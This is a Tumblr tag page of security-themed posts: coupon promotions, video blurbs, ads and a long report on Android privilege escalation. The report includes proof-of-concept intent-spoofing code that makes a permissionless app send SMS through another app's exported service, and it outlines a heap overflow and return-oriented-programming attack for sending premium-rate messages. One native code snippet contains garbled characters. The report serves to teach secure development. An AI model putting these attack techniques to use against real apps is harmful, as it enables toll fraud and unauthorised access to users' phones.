Tumgik
#SecureDevelopment
digitalvibesinfo · 11 days
Text
Mastering 1Password Developer Tools: Secure Your Code with Confidence!
For developers, managing credentials and secrets is a critical part of ensuring the security of your applications. 1Password Developer Tools offer a powerful solution for managing these sensitive elements securely and efficiently. This guide will explore how 1Password Developer Tools can enhance your development process and keep your code safe.
Why 1Password Developer Tools?
1Password Developer Tools are designed to help developers manage and secure their secrets effectively. With robust features and seamless integration, these tools provide a comprehensive solution for protecting your code and credentials.
Getting Started with 1Password Developer Tools
Getting started is easy:
1. Sign Up for 1Password : Visit the 1Password Developer Tools page to create an account.
2. Integrate with Your Development Environment: Use 1Password’s APIs and SDKs to integrate with your existing development tools and workflows.
3. Manage Secrets: Store and manage your API keys, passwords, and other sensitive information securely within 1Password.
Features and Benefits
1Password Developer Tools offer several features that make them a valuable addition to your development toolkit:
Secure Storage: Store your credentials and secrets securely, with encryption and access control.
API Integration: Integrate with your development environment to streamline secret management.
Audit Logs: Monitor access and changes to your secrets with detailed audit logs.
Seasonal Discounts and Offers
Explore Dealszo for Best 1Password Coupon Codes & Promo Codes for 1Password Developer Tools. With special promotions during Halloween, Veteran's Day, Thanksgiving, Black Friday, and Cyber Monday 2024, you can secure your development process at a reduced cost.
Why 1Password Developer Tools are Essential
For developers, securing code and credentials is critical. 1Password Developer Tools provide the features and integrations needed to manage your secrets effectively, ensuring that your development process remains secure.
How 1Password Developer Tools Support Your Work During Major Holidays?
During peak development periods and holiday seasons, managing credentials and secrets efficiently is crucial. 1Password Developer Tools help you maintain security and streamline your workflows, even during busy times.
1Password Developer Tools are a valuable asset for any developer looking to secure their code and credentials. With robust features and seasonal discounts available through Dealszo, it’s an investment in your development security. Check out Dealszo for the latest 1Password Coupon Codes & Promo Codesand enhance your development process today!
Latest 1password Offers & Discount
25% off the first year of 1Password Families
Secure your family's digital life! Get 25% off the first year of 1Password Families. Don't miss this exclusive offer for enhanced online security!
Up to 10 Team members for $24.95 per Month
Canada: Get Up to 10 Team members for $24.95 per Month with 1Password!
25% Off For New Customers
Enjoy 25% Off families at 1Password! New Customers Only!
3 months free switch to Business or Teams
Get 3 months free when you switch to 1Password Business or Teams, Plus Free family accounts for every member of your team!
1Password Developer Tools secure your code with ease. Grab Dealszo’s exclusive discounts and boost your development security today!
0 notes
otaviogilbert · 1 year
Text
Tips for Secure Code Review | CybersecurityTv
youtube
In this video, They'll explore essential tips for conducting a secure code review, helping you enhance the security of your software projects. From identifying vulnerabilities to ensuring best coding practices, They've got you covered. Stay tuned to CybersecurityTv for expert insights into safeguarding your code!
0 notes
varamacreations · 1 year
Text
youtube
ZAP Active Scan | CyberSecurityTV
🌟ZAP is an open-source proxy tool for the penetration testing. One of the most useful features is the active scan using the OWASP ZAP. It is very important to know how to configure form-based authentication and scan all the relevant pages.
0 notes
amigoways · 1 year
Text
Tumblr media
Build scalable, robust, and secure applications with our expert team.
Custom applications, web development, and more - we've got you covered.
Connect with our skilled team and experience the true potential of .NET Development Services. 👉 www.amigoways.com/dot-net-development
1 note · View note
valevpn · 1 year
Text
Threat Modeling: What is it? 🧐
In today's rapidly evolving digital landscape, security has become a paramount concern for organizations. Cyber threats and attacks are constantly on the rise, targeting sensitive data, systems, and infrastructure. To effectively combat these threats, organizations employ various security measures, one of which is threat modeling. Threat modeling is a proactive approach that helps organizations identify potential vulnerabilities and risks in their systems, allowing them to prioritize security efforts and develop effective countermeasures.
🔍 Let's delve deeper into what threat modeling entails and its benefits for organizations!
Read on 👉 https://www.valevpn.com/post/threat-modeling-what-is-it
ThreatModeling #Cybersecurity #SecurityRisk #VulnerabilityAssessment #RiskManagement #InformationSecurity #SecureDevelopment #ThreatIdentification #DataProtection #SecureSystems #SecurityBestPractices #SecureCoding #SecurityAwareness #RiskMitigation #SecurityCompliance #CyberThreats #ThreatPrevention #SecurityStrategy #SecurityMeasures #SecurityFramework #RiskAnalysis
Tumblr media
0 notes
douglas-bernardini · 3 years
Photo
Tumblr media
NIST Publishes Draft Security Criteria for Consumer Software - The final version is expected to be published by February 6, 2022.
https://secure-devs.net/nist-publishes-draft-security-criteria-for-consumer-software-douglas-bernardini/
0 notes
Link
These days, application security can make or break entire businesses. So, how can you improve the security of your product?
The answer to this question is more important now than it has ever been. When a company disregards security issues, it puts itself at risk. Business applications store massive amounts of sensitive data, which could be stolen at any time. Businesses that underfunding in security risk incurring financial losses as well as a tarnished reputation.
0 notes
releaseteam · 3 years
Link
via Twitter https://twitter.com/releaseteam
0 notes
winobs · 5 years
Photo
Tumblr media
#SecureDevelopment: Security for Developers - https://ift.tt/2UPnYSM
0 notes
joym-blog · 9 years
Text
Privilege Escalation Attacks on Android
Android is the most popular mobile operating system in the world today. It allows users to customize their phones by installing third party applications which lets them do a host of activities from browsing the web to playing games to scheduling their activities to listening to music and many more. Android provides tools that make the development of such apps simple. Moreover, the Android project is open source with free access to documentation, which means that anyone can examine the Android model, read the documentation and develop applications on it. This has led to an explosion of apps, which is a good thing for the users in general. However, a lack of proper understanding of Android’s powerful features can lead to gaping security holes that could easily be exploited by attackers to gain unauthorized access to private information. This report tries to understand the security model of Android and the rules that should be followed in order to build secure apps. The report also looks at the kind of attacks that can take place if these rules are not followed. Finally it briefly discusses current and future research on how to mitigate such attacks.
Android Overview
Android is built on top of the Linux kernel. Therefore, it inherits all the security features of the linux kernel like isolation of apps through sandboxing. This means that, every app runs inside it own space and does not have access to the data of other apps. Inter app communication takes place through a permission system which we shall describe later. The core Android libraries along with the Android Runtime System (ART) are built on top of the Linux kernel and use it to communicate with the phone hardware. The core Android libraries are mostly written in C/C++. The Android Runtime System (ART) consists of a few more libraries and the Dalvik Virual Machine(DVM). The DVM is an optimized JVM created especially to run on mobile phones. Every app in the Android system resides in a separate process and runs on a dedicated DVM. The application framework is built on top of the libraries and the ART. The application framework provides numerous high level services or APIs to app developers in the form of Java classes. The last layer is the application layer. All Android apps are developed and installed on this layer. Examples of such applications are Contacts Book, Browsers, SMS and other third party apps. A diagram of the Android architecture is given below.
Tumblr media
An Android app is made of four basic components. All classes and methods are extended or derived from them. The components are as follows:
Activity: User interaction in Android takes place through the Activity base class. The activity class takes care of creating a window in which UI can be placed. The activity class has many methods like onCreate(), onStart, onStop(), onPause(),onResume() and onDestroy(). These methods are invoked whenever an event related to an activity happens. For instance, if a window is opened up the onStart() method is called. These methods should be implemented by any class that extends the Activity class.
Service: A service is an application component that can perform long –running operations in the background. Typically services do not have any UI and our mostly associated with an activity, which means that they run on the same thread as an activity but as a background process.
Broadcast Receivers: Broadcast receivers are components that sit in the background and listen for incoming requests. They are mostly used to relay data between activities or services of different app or the same app.
Content Providers: These are mini databases that are associated with an app. They are basically stored in an app’s file system and are protected from outside access unless the developer makes some exceptions.
Intent: Intents are classes that are used for both inter and intra app communication. Communication requests and responses are encapsulated in an intent object and are sent to or received from the various Android components.  Intents can be used to start Activities; start, stop and bind Services; and broadcast information to Broadcast Receivers. Intents can be of two types – explicit and implicit. Explicit intents know exactly who the data is being sent to or from where the data is coming. Implicit intents on the other hand are system wide objects that are broadcast and resolved at runtime. Implicit intents are a cause of worry from a security perspective as we shall see later.
Android’s Permission Model
The linux kernel ensures that every app runs inside its own process. Every app has a user Id and has access to resources allowed under that user Id. This is called sandboxing which isolates apps from each other. However, Android has a very complex communication model which allows apps to easily talk to each other provided they have the right set of permissions. For instance, if an app wants to make phone calls then it can do so by communicating with the phone app. In order to do so it has to declare this permission in its manifest file. When the app is installed by a user, Android asks the user if this app should be allowed to make phone calls. If the user agrees then the app is installed else it is rejected. Similarly, if an app wants to access the Internet then it should have the necessary permission to do so. Also, apps can define their own permissions and declare them in the manifest file. Any other app that wants to communicate with this app should have those permissions defined in their manifest file. This is Android’s way of allowing inter-app communication at the same time protecting resources from unauthorized access. All permissions have a protection level that determines how difficult the permission is to acquire. There are four protection levels:
There are four protection levels:
Normal permissions are granted automatically.
Dangerous permissions can be granted by a user during installation. If the permission request is denied, then the application is not installed
Signature permissions                are only granted if the requesting application is signed by the same developer who created the permission.
Signature or System permissions are granted if the application meets the signature requirement or if the application is installed in the system applications folder. System applications are mostly pre-installed by a device manufacturer or manually installed by an advanced user on a rooted device.
Quite clearly the last two protection levels are the strongest provided that the signatures have not been compromised. The first two protection levels are relatively weak and can be subject to exploitation. If components or apps are not properly protected by permissions they could be used maliciously to breach Android’s security model. In a sense Android’s permissions system is conceptually flawed because it does not enforce permissions but leaves it to the developer to enforce it. If a developer somehow fails to provide adequate permissions, which is not very uncommon then due to the transitive nature of the permissions system, privilege escalation attacks could take place. For instance, let us say that app A has the right permissions to access app C but app B does not have the permissions to access app C’s resources and is malicious. If app A has some vulnerability in one of its components then app B could exploit that vulnerability to gain access to app C. In the next section we will see some examples of how such attacks could take place.
Privilege Escalation Attacks
Privilege escalation attacks could take place by various methods. We look at a few common techniques like Intent spoofing attacks and the more advanced Return Oriented programming without returns attacks.
Intent Spoofing
Intents are message passing objects that help apps communicate with each other. As mentioned earlier intents are of two types explicit and implicit. A malicious application can launch intent spoofing attacks by sending an intent to an exported component of a victim application that is not expecting intents from that application. This can happen when a component is exported when it was not intended to. Ideally developers should limit access to such components, but they do not always do so. To test this I created two apps one benign but with a vulnerability and one malicious app that exploits that vulnerability. Below is the sample code followed by an explanation.
public class MessagingService extends IntentService {
        @Override
      public void onCreate()
{
             super.onCreate();
             //code deleted for clarity
      }
      @Override
      protected void onHandleIntent(Intent intent) {
             try{
             //code deleted for clarity
             //loop through each phone no in the hash map and send SMS to each
             if(ContactBean.ContactMap!=null && ContactBean.ContactMap.size()>0)
             {
                    for(String phoneNo : ContactBean.ContactMap.keySet())
                    {
smsManager.sendMultipartTextMessage(phoneNo, null, smsParts, piSent, piDeliver);
                                   Thread.sleep(2000);
                    }
             }
             else
{
AppCommonBean.commonErrMsg = AppCommonConstantsClass.NO_CONCT_ADDED;
             }
             }
catch(Exception e)
             {
AppCommonBean.commonErrMsg = AppCommonConstantsClass.COMMON_ERR_MSG;
             }
             stopSelf();
             stopService(intent);
             }
      @Override
        public void onDestroy() {
          super.onDestroy();
      //code deleted for clarity
        }
 }
The above code is a service that runs in the background and sends SMS to all numbers in the hash map. Only the parts required for this discussion are shown. The finer details of code have been deleted. This service is part of an emergency app. The purpose of this app is to gather the current location of the user and send SMS to the user’s closest people when the user is in an emergency. The service has SMS_SEND permission which is required for sending SMS. Below is a part of the manifest.xml file of this app. 
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android"
   package="com.example.idost"
   android:versionCode="1"
   android:versionName="1.0" >
    <uses-sdk
       android:minSdkVersion="11"
       android:targetSdkVersion="17" />
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.INTERNET"/>
    <application
       android:allowBackup="true"
       android:icon="@drawable/ic_launcher4">
      //deleted for clarity
            <service android:name="com.example.idost.service.MessagingService">
           <intent-filter>
               <action android:name="android.intent.action.CALL" />
               <category android:name="android.intent.category.DEFAULT" />
           </intent-filter>       </service> </application></manifest>
The manifest file shows that this app has permissions to send sms. However, the Messaging Service class has been declared in the manifest with an intent filter (see the red highlighted portion). In Android if an intent filter is declared for a particular component it makes that component public by default. Therefore, any component can create an intent with a matching action and category and call this service from its own app to send random messages. When the user gets the phone bill at the end of the month he will be surprised to see the high number of messages sent from his phone. The only challenge for the attacker here is to match the intent filter. That should not be very difficult for the attacker since the developer has used a standard action string as its intent filter. Android has a fixed set of action strings which the attacker can brute-force very easily. The sample code of the malicious app is given below.
package com.example.exploityelfp;
 import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;
 public class MalActivity extends Activity {
                 @Override
               protected void onCreate(Bundle savedInstanceState) {
                               super.onCreate(savedInstanceState);
                               setContentView(R.layout.activity_mal);
                                 try {
                               Intent serv = new Intent(Intent.ACTION_CALL);
                                               try{
                                                               startService(serv);
                                               }
                                               catch(Exception e)
                                               {
                                                               e.printStackTrace();
                                               }
} catch (Exception e1) {
                                               e1.printStackTrace();
                               }
               }  
                 protected void onStart() {
                               super.onStart();
                               //some useful code
                } }
The above malicious activity could be part of a useful app created by a malicious attacker. When this activity is called by the user, the messaging service of the other app will be called without the user knowing anything about it since the service invocation code is in the onCreate() method of the malicious activity. The following is the manifest of the malicious app. The interesting thing to note is that this app has no permissions declared in its manifest and yet it is able to escalate its own privileges to send SMS to random phone nos.
 <?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
   package="com.example.exploityelfp"
   android:versionCode="1"
   android:versionName="1.0" >
    <uses-sdk
       android:minSdkVersion="8"
       android:targetSdkVersion="18" />
    <application
       android:allowBackup="true"
       android:icon="@drawable/ic_launcher"
       android:label="@string/app_name"
       android:theme="@style/AppTheme" >
      <activity
           android:name="com.example.exploityelfp.MainActivity"
           android:label="@string/app_name" >
           <intent-filter>
               <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
           </intent-filter>
      </activity>
      <activity
           android:name="com.example.exploityelfp.MalActivity"
           android:label="@string/title_activity_mal" >
           <intent-filter>
               <action android:name="android.intent.action.SENDTO" />
               <category android:name="android.intent.category.DEFAULT" />
           </intent-filter>
      </activity>
  </application>
 </manifest>
 An attack of this sort is a classic case of Intent spoofing and is one of the most common hacking techniques used in Android. The important thing to note is that this would not have been possible if the developer of the Messaging service had been careful and had protected his service with adequate permissions in the manifest file. The best thing for the developer would have been to set the “exported” attribute to be false and use only explicit intents to communicate with the service. However, this is always not possible since services are often required to be called from other apps that the developer trusts. In such cases the developer could either use digital signatures to verify the invoker of the service or he could have used the permissions attribute in the manifest to protect his service. That would have allowed only a component with that permission to start the service.
 This sort of attack can also be carried out on other components like Broadcast Receivers and Activities. In the case of broadcast receivers if an exported broadcast receiver blindly trusts an incoming broadcast intent it could operate on malicious data from that intent or it could just propagate the intent to a sensitive service or application. In case of an activity a user could be tricked to click on a button that takes her to the activity of another application, the user might then make changes to the victim app believing that she is still on the malicious app.
Return Oriented Programming without returns
 A lot of Android apps use the Java Native Interface (JNI) framework to call native libraries written in C/C++. Libraries written in C/C++ are often subject to buffer overflow attacks. I borrow an exploit technique described in Davi et al. to show how buffer overflow vulnerabilities in native libraries can compromise the security of an app that uses that library. Android has all modern protection techniques like stackguard and data execution implemented in its operating system. Therefore, the only useful technique would be Return Oriented Programming (ROP). However, recent Android versions can also thwart ROP attacks because it detects the presence of instruction streams with frequent returns. Three consecutive sequences of five or fewer instructions ending in return trigger an alarm. Davi et al suggest a technique called ROP without returns to bypass this defense mechanism. If the ROP chain has no returns then this defense mechanism will not detect it. However, returns are essential for the ROP chain to actually work. Therefore, return instructions are replaced by instructions that behave like return. On both the x86 and the ARM which Android uses, such instructions exist. They are called Update-Load-Branch (ULB) instructions. These instruction sequences update the Stack Pointer; load the address of the next instruction sequence to execute based on the stack pointer’s state; and finally branch to the address loaded. However, ULB instructions are not as frequently found as return instructions. To overcome this, a single ULB instruction is designed as a trampoline. Each instruction sequence used to compose a gadget set ends in an indirect jump to the trampoline, which redirects the execution to the next set of instructions.
 Given that the Android permission model does not handle transitive permissions as shown with intent spoofing attacks, the idea behind this exploit is to find an app A that makes a call to a vulnerable native library. Let us say this app has permissions to another app B in the system which has a wide set of permissions like sending sms, making calls, accessing Bluetooth, opening camera, internet access and many more. Any malicious app with no permissions to app B can exploit A to gain permission to app B and consequently to all the resources that app B has access to.
 Davi et al. in their paper describe an actual scenario like this. They create a vulnerable app A which makes a call to a vulnerable library. The code of the vulnerable native library is given below.
struct foo
{
char buffer[460] ;
jmp_buf jb ;
};
jint Java_com_example_helloJni_HelloJni_doMapFile(JNIEnv* env , jobject thiz)
{
// A binary file is opened ( not depicted )
. . .
struct foo _ f = malloc(sizeof_f) ;
i = setjmp ( f􀀀>jb ) ;
if (i!=0) return 0 ;
fgets ( f􀀀>buffer , sb.stsize , sFile ) ;
longjmp ( f􀀀>jb , 2 ) ;
}
Quite clearly there is a potential buffer overflow in the above code. The setjmp function is a system function that creates a special data structure called jmp_buf to save the current state or values of the control registers like ESP, EIP, EBP etc. The function longjmp is also a system function that reads the jmp_buf data structure to restore the register values. If the jmp_buf can be overwritten by attacker controlled data before longjmp is called, then the attacker will be able to run arbitrary code. The fgets function allows the buffer variable to be written with the contents of a binary file without proper bounds checking. Writing more than 460 characters will also overflow the jmp_buf data structure because they are declared inside the same structure. However, care has to be taken to bypass the canary. Android implements a fixed canary to protect the heap, leaving 52 bytes between the jmp_buf and the canary word. The canary is hard coded into libc.so and is therefore device and process independent. So any buffer overflow will have to consider the 52 bytes of space between the canary and the jmp_buf.
 Our next goal is to find an app B with a large permission set. Recently, Android has come up with the Android Scripting Environment that is a client-server app that allows developers to rapidly develop application prototypes by writing scripts and executing them from the phone itself. The interpreter is hosted on a server and the server is implemented as an Android component with a wide set of permissions. However, the server component is itself not protected by any permissions and anyone with permission to the client can invoke it. It is assumed that the device being attacked as ASE installed in it. The vulnerable app described previously has permission to the ASE client. When code in the vulnerable library is invoked through the jni, the setjmp vulnerability is exploited to cause a heap overflow. A ROP chain with the ULB trampoline is injected into the heap and a stack flip is caused by making the ESP point to the address in the heap which has the ROP chain. The ROP chain is executed till the system function which invokes the scripting shell is called. The function takes a command and a port number as input. The ASE client running on behalf of the vulnerable app establishes a socket connection with the ASE server passes the command and the port number. The ASE server executes the command like “send 100 sms to a premium-rate no” without checking any permissions and the vulnerable app is allowed to do so even if it wasn’t authorized to do so at install time thus clearly, escalating its privilege.
Mitigation
 Privilege escalation attacks are just one class of attacks that happen due to security vulnerabilities in Android apps. There are many other types of attacks as well like intercepting implicit intents and XSS attacks through WebView. While, Android provides a basic security model through sandboxing, it also gives developers a lot of freedom to enable inter-app communication. This expands Android’s attack surface. Therefore, achieving the right balance is important. Android’s security model is enough to prevent malicious attacks if developers understand the security model properly and write secure code. However, it is not always easy to write secure code especially in times of rapid development. Therefore, the only way forward is to create tools that will help developers write secure code. There has been a lot of research on static analysis tools that detect security vulnerabilities. A lot of research has also been done on formalizing Android’s security model and creating a type based system from a security perspective. Some research has also been done on a Model Driven Development approach from a security perspective. However, MDA in Android is still in its nascent stage. The main idea behind MDA in Android is that the developer will create a communication model for her app. MDA will transform that model into a formal model and prove that it is secure. If it is not secure then the developer is asked to correct the model. However, if it is secure then code is generated from that model. I believe that a very good way to prevent attacks is to provide security at the application layer and that can only happen if developers write secure code. Therefore, the future of attack mitigation especially in Android will probably be in the direction of creating tools that facilitate secure development.
0 notes
varamacreations · 1 year
Text
youtube
How to answer API security questions in an Interview? | CyberSecurityTV
🌟During an interview, there are few tricky questions regarding API security. In this episode, I have tried cover few and give my perspective on how to respond to those questions and also better prepare yourself. This is not a full list of questions but at least covers majority of questions that could be asked.
0 notes
otaviogilbert · 1 year
Text
Tips for Secure Code Review | CybersecurityTv
youtube
🔐 Learn essential tips for secure code review in our latest CybersecurityTv episode. Discover best practices to keep your codebase safe from vulnerabilities and threats. Don't miss out on these crucial insights!
0 notes
otaviogilbert · 1 year
Text
Tips for Secure Code Review | CybersecurityTv
youtube
Learn essential tips for conducting a secure code review in this insightful episode of CybersecurityTv. Discover how to identify vulnerabilities, enhance code quality, and protect your software from potential threats.
0 notes
douglas-bernardini · 3 years
Photo
Tumblr media
Synopsys Research - Vulnerabilities in Applications: 97% of the targets were found to have some form of vulnerability.
https://secure-devs.net/synopsys-research-finds-vulnerabilities-in-97-of-applications-douglas-bernardini/
0 notes
douglas-bernardini · 3 years
Photo
Tumblr media
Veracode Releases Enhanced API Scanning to tackle fastest growing cyber attack vector.
90% of web applications contain exposed APIs, making them more vulnerable to attacks from cyber criminals.
https://secure-devs.net/veracode-releases-enhanced-api-scanning-to-tackle-fastest-growing-cyber-attack-vector/
0 notes